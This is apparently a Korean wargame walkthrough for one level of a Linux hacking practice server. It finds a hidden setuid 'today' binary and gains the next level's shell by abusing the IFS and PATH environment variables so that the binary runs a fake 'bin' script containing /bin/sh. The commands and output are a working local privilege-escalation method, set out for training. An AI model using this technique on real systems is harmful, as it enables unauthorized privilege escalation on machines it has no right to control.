항상 약속을 자주 잊어 버리는 서모씨는 번번히 주위로부터 원망을 산다. 서모씨는 고심하던 중 자신이 매일 아침 리눅스 서버에 로긴한다는 사실을 알고는 매번 로긴할 때마다 오늘의 날짜를 알려주면 편리하겠다는 사실을 알았다. 그래서 date 컴맨드를 이용하여 오늘의 날짜만 YYYY-MM-DD 형식으로 간단히 출력해주는 프로그램을 씨언어를 이용해서 프로그래밍을 하고는 누가 볼까 두려워 특정 디렉토리에 꽁꽁 숨겨 두었다.
이를 찾아서 다음 레벨을 진입하시오.
—-
[level3@drill /]$ ls -l `find -perm +4000`
…
-rws–x— 1 level4 level3 13781 Oct 26 2002 ./usr/man/pt_BR/man8/today
…
일단 공격할 코드를 찾은 다음 실행해봅니다.
[level3@drill /]$ /usr/man/pt_BR/man8/today
07/18/05
아쉽게도 우리에게 읽기 권한은 없지만 아마 대략 다음과 같이 date를 실행하고 있을 것입니다.
sysdate(“/bin/date MM/DD/YY”);
(date의 포멧 문자열은 틀렸더라도 이해를…)
그러면 다음과 같이 exploit합니다.
[level3@drill tmp]$ cat bin
#!/bin/bash
/bin/sh
[level3@drill tmp]$ export IFS=”/”
[level3@drill tmp]$ export PATH=.:$PATH
[level3@drill tmp]$ /usr/man/pt_BR/man8/today
bash$ whoami
level4
참고할만한 내용은
http://www.tech-faq.com/suid-root-script-binary.shtml
http://www.faqs.org/docs/bashman/bashref_33.html
IFS 문제점 모르는 사람은 절대 못풀겠군요…;;